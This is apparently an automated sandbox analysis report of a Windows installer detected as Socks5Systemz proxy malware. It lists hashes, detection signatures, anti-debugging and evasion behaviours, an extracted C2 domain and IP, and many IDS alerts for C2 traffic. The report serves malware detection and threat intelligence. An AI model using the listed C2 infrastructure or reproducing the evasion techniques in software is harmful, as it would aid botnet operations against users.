Edit tour

Windows Analysis Report
OFjT8HmzFJ.exe

Overview

General Information

Sample name:	OFjT8HmzFJ.exe renamed because original name is a hash value
Original sample name:	c776a9efdaba18f15a5f554ae52c0385.exe
Analysis ID:	1548912
MD5:	c776a9efdaba18f15a5f554ae52c0385
SHA1:	32e0de85a222239a0c5a4f8ef283739902c738bb
SHA256:	5dea8691394058b4c4e88ac3fc070dd30c5ea528ad07d9fe8d1e6dde566adac7
Tags:	32exe
Infos:

Detection

Socks5Systemz

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Socks5Systemz

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to infect the boot sector

Machine Learning detection for dropped file

PE file has a writeable .text section

Uses known network protocols on non-standard ports

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

OFjT8HmzFJ.exe (PID: 6848 cmdline: "C:\Users\user\Desktop\OFjT8HmzFJ.exe" MD5: C776A9EFDABA18F15A5F554AE52C0385)

OFjT8HmzFJ.tmp (PID: 6876 cmdline: "C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp" /SL5="$2041C,6149981,54272,C:\Users\user\Desktop\OFjT8HmzFJ.exe" MD5: 0D05E478EC0E67B3670C32F7FCD99AC2)

syncplayer32_64.exe (PID: 7112 cmdline: "C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe" -i MD5: 5FBD9E9B8796E7B4A40FD070F0F43F8E)

cleanup

Malware Configuration

Threatname: Socks5Systemz

{"C2 list": ["bbdxzzh.com"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000002.00000002.2901818594.0000000002A93000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: syncplayer32_64.exe PID: 7112	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T02:14:14.510768+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49730	TCP
2024-11-05T02:14:53.360891+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49738	TCP

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T02:14:49.768452+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49736	185.208.158.202	80	TCP
2024-11-05T02:14:52.920230+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49736	185.208.158.202	80	TCP
2024-11-05T02:14:53.989569+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49739	185.208.158.202	80	TCP
2024-11-05T02:14:55.040656+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49742	185.208.158.202	80	TCP
2024-11-05T02:14:56.088071+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49743	185.208.158.202	80	TCP
2024-11-05T02:14:57.128908+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49744	185.208.158.202	80	TCP
2024-11-05T02:14:57.544988+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49744	185.208.158.202	80	TCP
2024-11-05T02:14:58.582047+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49755	185.208.158.202	80	TCP
2024-11-05T02:14:58.995669+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49755	185.208.158.202	80	TCP
2024-11-05T02:15:00.073078+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49766	185.208.158.202	80	TCP
2024-11-05T02:15:01.120107+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49772	185.208.158.202	80	TCP
2024-11-05T02:15:02.187639+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49778	185.208.158.202	80	TCP
2024-11-05T02:15:03.241514+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49784	185.208.158.202	80	TCP
2024-11-05T02:15:04.285665+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49795	185.208.158.202	80	TCP
2024-11-05T02:15:05.349729+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49801	185.208.158.202	80	TCP
2024-11-05T02:15:05.765708+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49801	185.208.158.202	80	TCP
2024-11-05T02:15:07.625028+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49807	185.208.158.202	80	TCP
2024-11-05T02:15:08.712802+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49813	185.208.158.202	80	TCP
2024-11-05T02:15:09.741372+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49824	185.208.158.202	80	TCP
2024-11-05T02:15:10.793641+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49830	185.208.158.202	80	TCP
2024-11-05T02:15:11.835815+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49835	185.208.158.202	80	TCP
2024-11-05T02:15:12.866653+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49841	185.208.158.202	80	TCP
2024-11-05T02:15:13.283295+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49841	185.208.158.202	80	TCP
2024-11-05T02:15:14.463695+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49850	185.208.158.202	80	TCP
2024-11-05T02:15:15.528204+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49857	185.208.158.202	80	TCP
2024-11-05T02:15:16.578267+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49863	185.208.158.202	80	TCP
2024-11-05T02:15:17.617802+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49868	185.208.158.202	80	TCP
2024-11-05T02:15:18.669238+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49875	185.208.158.202	80	TCP
2024-11-05T02:15:19.767131+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49880	185.208.158.202	80	TCP
2024-11-05T02:15:20.821477+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49888	185.208.158.202	80	TCP
2024-11-05T02:15:21.893591+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:22.318772+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:22.735176+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:23.162892+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:23.583165+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:24.001625+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:25.096099+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:25.516612+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:25.931277+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:27.012320+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49926	185.208.158.202	80	TCP
2024-11-05T02:15:28.133251+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49933	185.208.158.202	80	TCP
2024-11-05T02:15:29.159381+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49941	185.208.158.202	80	TCP
2024-11-05T02:15:29.570861+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49941	185.208.158.202	80	TCP
2024-11-05T02:15:30.984896+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49949	185.208.158.202	80	TCP
2024-11-05T02:15:32.026991+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49959	185.208.158.202	80	TCP
2024-11-05T02:15:33.060397+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49966	185.208.158.202	80	TCP
2024-11-05T02:15:34.107691+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49972	185.208.158.202	80	TCP
2024-11-05T02:15:35.168076+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49978	185.208.158.202	80	TCP
2024-11-05T02:15:36.213862+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49984	185.208.158.202	80	TCP
2024-11-05T02:15:37.260423+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49993	185.208.158.202	80	TCP
2024-11-05T02:15:38.282394+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50000	185.208.158.202	80	TCP
2024-11-05T02:15:38.694908+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50000	185.208.158.202	80	TCP
2024-11-05T02:15:39.768544+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50007	185.208.158.202	80	TCP
2024-11-05T02:15:40.810716+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50016	185.208.158.202	80	TCP
2024-11-05T02:15:41.843737+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50022	185.208.158.202	80	TCP
2024-11-05T02:15:42.876658+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-05T02:15:43.296295+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-05T02:15:44.337863+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50039	185.208.158.202	80	TCP
2024-11-05T02:15:45.383395+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50045	185.208.158.202	80	TCP
2024-11-05T02:15:46.434284+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50050	185.208.158.202	80	TCP
2024-11-05T02:15:47.470593+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-05T02:15:47.885636+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-05T02:15:48.928882+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50052	185.208.158.202	80	TCP
2024-11-05T02:15:49.984342+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-05T02:15:51.054715+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-05T02:15:52.094748+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50055	185.208.158.202	80	TCP
2024-11-05T02:15:53.267725+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50056	185.208.158.202	80	TCP
2024-11-05T02:15:54.323361+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50057	185.208.158.202	80	TCP
2024-11-05T02:15:55.382684+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-05T02:15:56.434637+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50059	185.208.158.202	80	TCP
2024-11-05T02:15:57.845030+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50060	185.208.158.202	80	TCP
2024-11-05T02:15:58.911115+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50061	185.208.158.202	80	TCP
2024-11-05T02:15:59.952574+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50062	185.208.158.202	80	TCP

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T02:14:49.768452+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49736	185.208.158.202	80	TCP
2024-11-05T02:14:52.920230+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49736	185.208.158.202	80	TCP
2024-11-05T02:14:53.989569+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49739	185.208.158.202	80	TCP
2024-11-05T02:14:55.040656+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49742	185.208.158.202	80	TCP
2024-11-05T02:14:56.088071+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49743	185.208.158.202	80	TCP
2024-11-05T02:14:57.128908+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49744	185.208.158.202	80	TCP
2024-11-05T02:14:57.544988+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49744	185.208.158.202	80	TCP
2024-11-05T02:14:58.582047+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49755	185.208.158.202	80	TCP
2024-11-05T02:14:58.995669+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49755	185.208.158.202	80	TCP
2024-11-05T02:15:00.073078+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49766	185.208.158.202	80	TCP
2024-11-05T02:15:01.120107+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49772	185.208.158.202	80	TCP
2024-11-05T02:15:02.187639+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49778	185.208.158.202	80	TCP
2024-11-05T02:15:03.241514+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49784	185.208.158.202	80	TCP
2024-11-05T02:15:04.285665+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49795	185.208.158.202	80	TCP
2024-11-05T02:15:05.349729+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49801	185.208.158.202	80	TCP
2024-11-05T02:15:05.765708+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49801	185.208.158.202	80	TCP
2024-11-05T02:15:07.625028+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49807	185.208.158.202	80	TCP
2024-11-05T02:15:08.712802+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49813	185.208.158.202	80	TCP
2024-11-05T02:15:09.741372+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49824	185.208.158.202	80	TCP
2024-11-05T02:15:10.793641+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49830	185.208.158.202	80	TCP
2024-11-05T02:15:11.835815+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49835	185.208.158.202	80	TCP
2024-11-05T02:15:12.866653+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49841	185.208.158.202	80	TCP
2024-11-05T02:15:13.283295+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49841	185.208.158.202	80	TCP
2024-11-05T02:15:14.463695+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49850	185.208.158.202	80	TCP
2024-11-05T02:15:15.528204+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49857	185.208.158.202	80	TCP
2024-11-05T02:15:16.578267+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49863	185.208.158.202	80	TCP
2024-11-05T02:15:17.617802+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49868	185.208.158.202	80	TCP
2024-11-05T02:15:18.669238+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49875	185.208.158.202	80	TCP
2024-11-05T02:15:19.767131+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49880	185.208.158.202	80	TCP
2024-11-05T02:15:20.821477+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49888	185.208.158.202	80	TCP
2024-11-05T02:15:21.893591+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:22.318772+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:22.735176+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:23.162892+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:23.583165+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:24.001625+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:25.096099+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:25.516612+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:25.931277+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:27.012320+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49926	185.208.158.202	80	TCP
2024-11-05T02:15:28.133251+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49933	185.208.158.202	80	TCP
2024-11-05T02:15:29.159381+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49941	185.208.158.202	80	TCP
2024-11-05T02:15:29.570861+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49941	185.208.158.202	80	TCP
2024-11-05T02:15:30.984896+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49949	185.208.158.202	80	TCP
2024-11-05T02:15:32.026991+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49959	185.208.158.202	80	TCP
2024-11-05T02:15:33.060397+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49966	185.208.158.202	80	TCP
2024-11-05T02:15:34.107691+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49972	185.208.158.202	80	TCP
2024-11-05T02:15:35.168076+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49978	185.208.158.202	80	TCP
2024-11-05T02:15:36.213862+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49984	185.208.158.202	80	TCP
2024-11-05T02:15:37.260423+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49993	185.208.158.202	80	TCP
2024-11-05T02:15:38.282394+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50000	185.208.158.202	80	TCP
2024-11-05T02:15:38.694908+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50000	185.208.158.202	80	TCP
2024-11-05T02:15:39.768544+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50007	185.208.158.202	80	TCP
2024-11-05T02:15:40.810716+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50016	185.208.158.202	80	TCP
2024-11-05T02:15:41.843737+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50022	185.208.158.202	80	TCP
2024-11-05T02:15:42.876658+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-05T02:15:43.296295+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-05T02:15:44.337863+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50039	185.208.158.202	80	TCP
2024-11-05T02:15:45.383395+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50045	185.208.158.202	80	TCP
2024-11-05T02:15:46.434284+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50050	185.208.158.202	80	TCP
2024-11-05T02:15:47.470593+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-05T02:15:47.885636+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-05T02:15:48.928882+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50052	185.208.158.202	80	TCP
2024-11-05T02:15:49.984342+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-05T02:15:51.054715+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-05T02:15:52.094748+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50055	185.208.158.202	80	TCP
2024-11-05T02:15:53.267725+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50056	185.208.158.202	80	TCP
2024-11-05T02:15:54.323361+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50057	185.208.158.202	80	TCP
2024-11-05T02:15:55.382684+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-05T02:15:56.434637+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50059	185.208.158.202	80	TCP
2024-11-05T02:15:57.845030+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50060	185.208.158.202	80	TCP
2024-11-05T02:15:58.911115+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50061	185.208.158.202	80	TCP
2024-11-05T02:15:59.952574+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50062	185.208.158.202	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: OFjT8HmzFJ.exe

Avira: detected

Found malware configuration

Source: syncplayer32_64.exe.7112.2.memstrmin

Malware Configuration Extractor: Socks5Systemz {"C2 list": ["bbdxzzh.com"]}

Multi AV Scanner detection for submitted file

Source: OFjT8HmzFJ.exe

Virustotal: Detection: 29%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\EC SyncPlayer 11.4.45\EC SyncPlayer 11.4.45.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0045B9BC GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,	1_2_0045B9BC
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0045BA70 ArcFourCrypt,	1_2_0045BA70
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0045BA88 ArcFourCrypt,	1_2_0045BA88
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_10001000 ISCryptGetVersion,	1_2_10001000
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_10001130 ArcFourCrypt,	1_2_10001130

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Unpacked PE file: 2.2.syncplayer32_64.exe.400000.0.unpack

Source: OFjT8HmzFJ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source:	Binary string: MicrosoftWindowsCommon-Controls-6.0.2600.5512-comctl32.pdbr source: is-8817T.tmp.1.dr
Source:	Binary string: d:\gili\gili-cddvds-bitlocker\project\bin\sys\i386\SecCdEnc.pdbp source: is-VL7LS.tmp.1.dr
Source:	Binary string: d:\GS-WORK\Video Tools\Video Recorder\OUTPUT\TextDlg.pdb source: is-CMGGO.tmp.1.dr
Source:	Binary string: d:\GS-WORK\Video Tools\Video Recorder\OUTPUT\TextDlg.pdb$a source: is-CMGGO.tmp.1.dr
Source:	Binary string: msvcr90.i386.pdb source: is-LN7FL.tmp.1.dr
Source:	Binary string: )\release_bin\NvenCoderKernel.pdb source: is-ATOOC.tmp.1.dr
Source:	Binary string: E:\Work\GiliSoft\SerialKernal\output\MagicSkin.pdb source: is-AVN0V.tmp.1.dr
Source:	Binary string: )\release_bin\cudaEncoderKernel.pdb source: is-1R8O6.tmp.1.dr
Source:	Binary string: MFCM90.i386.pdb source: is-R8N4P.tmp.1.dr
Source:	Binary string: d:\gili\gili-cddvds-bitlocker\project\bin\sys\i386\SecCdDbg.pdb source: is-VL7LS.tmp.1.dr
Source:	Binary string: MFCM90.i386.pdb0 source: is-R8N4P.tmp.1.dr
Source:	Binary string: d:\GS-WORK\OEM\ScreenRecoder\bin\utlis.pdb source: is-O9SMK.tmp.1.dr
Source:	Binary string: d:\gilisoft\gili-cddvd-bitlocker\project\bin\sys\amd64\SecCdDbg.pdb source: is-VL7LS.tmp.1.dr
Source:	Binary string: mfc90u.i386.pdb source: is-M4GIC.tmp.1.dr
Source:	Binary string: mfc90.i386.pdb source: is-C25HO.tmp.1.dr
Source:	Binary string: \ServiceCtrl\ServiceCtrl\res\Service_32.pdb source: is-EDQQG.tmp.1.dr
Source:	Binary string: d:\gilisoft\gili-cddvd-bitlocker\project\bin\sys\amd64\SecCdEnc.pdb source: is-VL7LS.tmp.1.dr
Source:	Binary string: msvcp90.i386.pdb source: is-GN1VG.tmp.1.dr
Source:	Binary string: mfc90.i386.pdbpmxt source: is-C25HO.tmp.1.dr
Source:	Binary string: \OutPut\ServiceCtrl.pdb source: is-EDQQG.tmp.1.dr
Source:	Binary string: MicrosoftWindowsCommon-Controls-6.0.2600.5512-comctl32.pdb source: is-8817T.tmp.1.dr
Source:	Binary string: msvcm90.i386.pdb source: is-HL5P4.tmp.1.dr
Source:	Binary string: D:\GS-WORK\MultiMediaKernel2.3\output\IntelHW.pdb source: is-4FGVI.tmp.1.dr
Source:	Binary string: MFCM90U.i386.pdb source: is-5FDD3.tmp.1.dr
Source:	Binary string: MFCM90U.i386.pdb0 source: is-5FDD3.tmp.1.dr
Source:	Binary string: d:\GS-WORK\MultiMediaKernel\output\ApngDecoder.pdb source: is-FCOF0.tmp.1.dr
Source:	Binary string: \ServiceCtrl\ServiceCtrl\res\Service_64.pdb source: is-EDQQG.tmp.1.dr
Source:	Binary string: d:\gili\gili-cddvds-bitlocker\project\bin\sys\i386\SecCdEnc.pdb source: is-VL7LS.tmp.1.dr
Source:	Binary string: D:\GS-WORK\MultiMediaKernel2.3\output\IntelHW.pdb00 source: is-4FGVI.tmp.1.dr

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00471184 FindFirstFileA,FindNextFileA,FindClose,	1_2_00471184
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00451788 FindFirstFileA,GetLastError,	1_2_00451788
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004606EC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_004606EC
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00460B68 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_00460B68
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0045F160 FindFirstFileA,FindNextFileA,FindClose,	1_2_0045F160
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00493274 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	1_2_00493274

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49772 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49772 -> 185.208.158.202:80
